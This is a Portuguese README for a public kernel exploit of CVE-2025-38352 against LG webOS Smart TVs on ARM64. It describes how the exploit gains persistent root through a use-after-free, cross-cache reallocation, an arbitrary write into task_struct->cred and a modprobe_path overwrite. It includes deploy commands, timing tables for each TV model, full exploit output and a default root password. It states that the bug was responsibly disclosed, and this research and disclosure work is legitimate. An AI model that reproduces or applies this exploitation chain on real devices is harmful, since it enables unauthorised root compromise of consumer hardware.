
Exploit de kernel CVE-2025-38352 para Smart TVs LG webOS (ARM64). Obtém root persistente em hardware de consumo real com técnicas de exploração inovadoras. Divulgado de forma responsável à LG.
Exploit de kernel para CVE-2025-38352 (condição de corrida do timer POSIX CPU / use-after-free) alcançando root persistente em Smart TVs LG webOS rodando kernel 5.4.268 em ARM64. Verificado em 4 modelos de TV em múltiplas versões de firmware. Divulgado responsavelmente ao Programa de Pesquisadores de Segurança da LG (Fevereiro de 2026).
Construído sobre o Chronomaly por farazsth98. A lógica de corrida UAF do Estágio 1 e a infraestrutura cross-cache foram portadas e adaptadas para ARM64; os Estágios 2 a 5 foram reprojetados com técnicas de exploração inovadoras e soluções para restrições de hardware real que não existem em ambientes emulados. Desenvolvido com a assistência do Claude Opus 4.6.
Veja VULNERABILITY_REPORT.md para a análise completa da vulnerabilidade, explicação da cadeia de exploração e mitigações recomendadas.
prisoner (uid=5038)Este exploit foi desenvolvido como parte de pesquisa de segurança responsável e relatado ao Programa de Pesquisadores de Segurança da LG em 7 de fevereiro de 2026. É publicado apenas para fins educacionais. Use com responsabilidade e apenas em dispositivos que você possui. Os autores não são responsáveis por qualquer dano, brick, perda de dados ou anulação de garantia resultante do uso deste software. Este software é fornecido "como está", sem garantia.
O decremento arbitrário original é lento e ruidoso: ele pulveriza 1000 objetos struct cred via processos bifurcados e depois decrementa o campo EUID do cred alvo N vezes. Cada decremento é uma operação separada. Isso é aceitável no QEMU, onde o timing é tolerante, mas não confiável em hardware real, onde a recuperação de páginas orientada por interrupções pode roubar páginas do buffer do pipe entre as operações.
Isso foi substituído por uma única escrita arbitrária via list_del_init(). O exploit sobrescreve os ponteiros list_head.next e list_head.prev do sigqueue UAF através do buffer do pipe. Quando o kernel desenfileira o sinal pendente (collect_signal() → list_del_init()), ele executa prev->next = next (escreve o endereço de cred falso em task_struct->cred) e next->prev = prev (escrita controlada de efeito colateral). Uma única escrita substitui o ponteiro cred do processo por um ponteiro para uma estrutura cred falsa contendo todos os campos uid/gid zero. Sem pulverização de cred, sem processos bifurcados, determinístico.
peek_pipe() via tee() para Leituras Não-DestrutivasO original usa chamadas read() destrutivas nos buffers do pipe durante todo o exploit. No QEMU, isso funciona bem porque as páginas não são roubadas entre as operações. Em hardware real com 4 núcleos físicos, a lista de páginas por CPU do kernel (pcplist) recupera agressivamente páginas liberadas. Uma leitura destrutiva libera a página de suporte do buffer do pipe, que pode ser imediatamente roubada por uma interrupção de hardware antes que o exploit possa realocá-la.
A solução é uma primitiva de leitura não-destrutiva usando tee(). A chamada de sistema tee() duplica dados do pipe entre dois pipes sem consumi-los, mantendo a página de suporte do buffer do pipe original fixada. Isso permite que o exploit leia dados do kernel do buffer do pipe cross-cached repetidamente sem risco de perda de página. Isso foi crítico para a confiabilidade em hardware real.
O original pulveriza objetos cred e espera que um deles caia em uma posição previsível. Esta versão constrói a estrutura cred falsa em um endereço conhecido realizando um segundo cross-cache: alocar um novo sigqueue (via tkill(SIGRTMIN+1)), aprender seu endereço a partir do vazamento de heap do primeiro buffer do pipe e, em seguida, fazer o cross-cache da página slab desse sigqueue em um segundo buffer do pipe. O cred falso é escrito no segundo buffer do pipe no deslocamento exato da página do endereço do sigqueue vazado. O resultado é um cred falso em um endereço de kernel determinístico, sem adivinhação.
O original desenfileira SIGUSR2 no início do Estágio 2 para vazar o endereço do sigqueue UAF. Isso consome o sinal, então o original precisa de um mecanismo diferente para a escrita final. Esta versão nunca precisa do endereço do próprio sigqueue UAF (o vazamento de heap vem dos ponteiros adjacentes do sigqueue no buffer do pipe). O SIGUSR2 é mantido pendente em todos os cinco estágios e seu desenfileiramento é usado como o gatilho de escrita arbitrária final. O sinal que criou o UAF é o mesmo sinal cujo desenfileiramento o explora.
modprobe_path + socket(44) EscalaçãoA estrutura cred falsa tem ponteiros NULL em user_ns, user e group_info (já que o buffer do pipe é zerado além dos campos uid/gid). Chamar setresuid(), fork() ou exec() desreferenciaria esses ponteiros NULL e causaria pânico no kernel. O original evita isso porque sua pulverização de cred usa objetos cred reais com ponteiros válidos.
Solução: sobrescrever /proc/sys/kernel/modprobe para apontar para um script de payload (/tmp/pwn) e, em seguida, acionar call_usermodehelper via socket(44, SOCK_STREAM, 0) (solicitando uma família de protocolo inexistente). O kernel executa o helper modprobe com init_cred (as credenciais de root do próprio kernel, totalmente válidas), contornando o cred corrompido. O payload é executado como root completo e pode realizar operações arbitrárias.
A janela crítica no Estágio 4 (escrever ponteiros maliciosos no buffer do pipe e, em seguida, acionar o desenfileiramento do sinal) é vulnerável a interrupções de hardware que roubam a página do buffer do pipe da lista de páginas por CPU. Isso não acontece no QEMU. Em hardware real, essa janela é protegida com prioridade SCHED_FIFO (quando disponível) e sched_yield() para permitir que o trabalho pendente seja concluído na CPU antes de entrar na seção crítica, além de conteúdos de buffer pré-preparados para minimizar o tempo entre a escrita e o gatilho. O exploit também recai graciosamente quando SCHED_FIFO não está disponível (como no webOS, onde o usuário prisioneiro não tem CAP_SYS_NICE).
task_struct em ARM64A escrita arbitrária tem como alvo task_struct->cred, o que requer saber o deslocamento de bytes de task_struct->pending (cujo endereço é vazado do buffer do pipe) até task_struct->cred. Esse offset depende da configuração do kernel. O offset de 0x80 (128 bytes) foi calculado manualmente a partir do código-fonte do kernel LG webOS, levando em conta CONFIG_KEYS=y, CONFIG_SYSVIPC=y e o layout e alinhamento específicos da estrutura ARM64. O offset x86_64 no original é diferente devido ao empacotamento e opções de configuração diferentes.
Em caso de sucesso, o exploit:
/proc/sys/kernel/modprobe para executar um payload de rooting como initaarch64-linux-gnu-gcc)# macOS (requer tap de terceiros)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu
Instale o aplicativo Homebrew Channel na sua TV via Modo Dev antes de executar o exploit. Dessa forma, o payload de rooting só precisa elevá-lo (rápido, confiável) em vez de instalar + elevar (mais lento, pode falhar). Você pode instalar lateralmente usando ares-install ou o aplicativo Dev Manager:
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk
Se o HBC não estiver pré-instalado, o exploit tentará instalá-lo a partir de /tmp/hbchannel.ipk (implantado por deploy-webos.sh), mas isso adiciona etapas extras que podem falhar.
# 1. Defina o IP da sua TV e a chave SSH
# O IP da sua TV está em Configurações > Rede > Wi-Fi > Configurações Avançadas
# A chave SSH é gerada pelo aplicativo LG Developer Mode — procure a chave
# baixada pelo Dev Manager ou ares-setup-device (normalmente chamada webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"
# 2. Compilar e implantar (deploy-webos.sh lida com a compilação automaticamente)
./deploy-webos.sh
# 3. Conectar e executar
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64
O exploit aceita parâmetros de tempo como argumentos de linha de comando:
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]
Se nenhum argumento for fornecido, os padrões compilados são usados (DELAY=31000, DELTA=50, THRESHOLD=3000).
Se DELAY for fornecido, mas DELTA não, DELTA é calculado automaticamente como DELAY / 600 (arredondado para o 5 mais próximo).
Observe a saída do exploit e ajuste DELAY:
Parent raced too late → DIMINUIR DELAY
Parent raced too early → AUMENTAR DELAY
Quando ambas as mensagens aparecerem, o tempo está próximo — continue executando e o exploit deve eventualmente atingir a janela de corrida. Comece com o padrão compilado (31000) e ajuste a partir daí.
/tmp/pwn terminar — muitas vezes expira (isso é normal). Verifique /tmp/pwn.log para verificar manualmente se o payload foi concluído, se necessário.ssh root@<TV_IP>
# senha: alpine
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] fake_cred_addr = 0xffffff804908c820
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Signal dequeued successfully!
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
[+] Preparing task pending list for heap leaks
[DEBUG] Pipe buffer page dump (non-zero qwords):
[DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
[DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr]
[+] Heap leaks:
- UAF sigqueue page offset 0x960
- Other sigqueue 0xffffff804dbee2d0
- Task pending list addr 0xffffff80485913f8
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] new_addr = 0xffffff804908c820 (page offset 0x820)
[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
[+] Freeing slab 3 page...
[+] Writing fake cred at page offset 0x820
[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
[+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] task_pending_list_addr = 0xffffff80485913f8
[+] cred_offset = 0x80 (128 bytes)
[+] task_cred_ptr_addr = 0xffffff8048591378
[+] fake_cred_addr = 0xffffff804908c820
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[-] SCHED_FIFO unavailable - proceeding anyway
[DEBUG] Verifying sigqueue fields in pipe buffer:
[DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK
[DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK
[DEBUG] flags = 1 (expected 1) OK
[DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
[+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
[DEBUG] poll() returned 1, revents=0x1
[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
[DEBUG] Key addresses for list_del_init:
[DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
[DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820
[DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8
[DEBUG] Expected writes:
[DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred)
[DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr)
[DEBUG] Verifying pipe buffers still valid...
[DEBUG] realloc_pipe read(0) = 0 (errno=1)
[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
[DEBUG] read() returned 128, errno=0 (Success)
[DEBUG] Blocking mode restored
[+] Signal dequeued successfully! (read 128 bytes)
[DEBUG] POST-DEQUEUE pipe buffer check:
[DEBUG] list.next = 0xffffff80417e9960
[DEBUG] list.prev = 0xffffff80417e9960
[DEBUG] Pointers changed by kernel (list_del_init applied to our page)
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Checking privileges...
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[+] Waiting for /tmp/pwn to finish...
[+] May take up to 5 minutes to finish.
Contribuições originais são licenciadas sob MIT. Partes derivadas do Chronomaly por farazsth98 são excluídas da concessão MIT porque o projeto upstream foi publicado sem uma licença explícita. Veja LICENSE para detalhes.
| Variável | Padrão | Descrição |
|---|
WEBOS_IP | 192.168.1.100 | Endereço IP da TV |
WEBOS_PORT | 9922 | Porta SSH |
WEBOS_USER | prisoner | Usuário SSH |
WEBOS_KEY | $HOME/.ssh/webos_rsa | Caminho da chave SSH |
| Modelo de TV | ID OTA | DELAY | DELTA | THRESHOLD |
|---|
| OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 |
| 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 |
| OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 |
| OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 |
| OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 |
| OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 |
| OLED48C3AUB | - | 31300 | 50 | 3000 |
| OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 |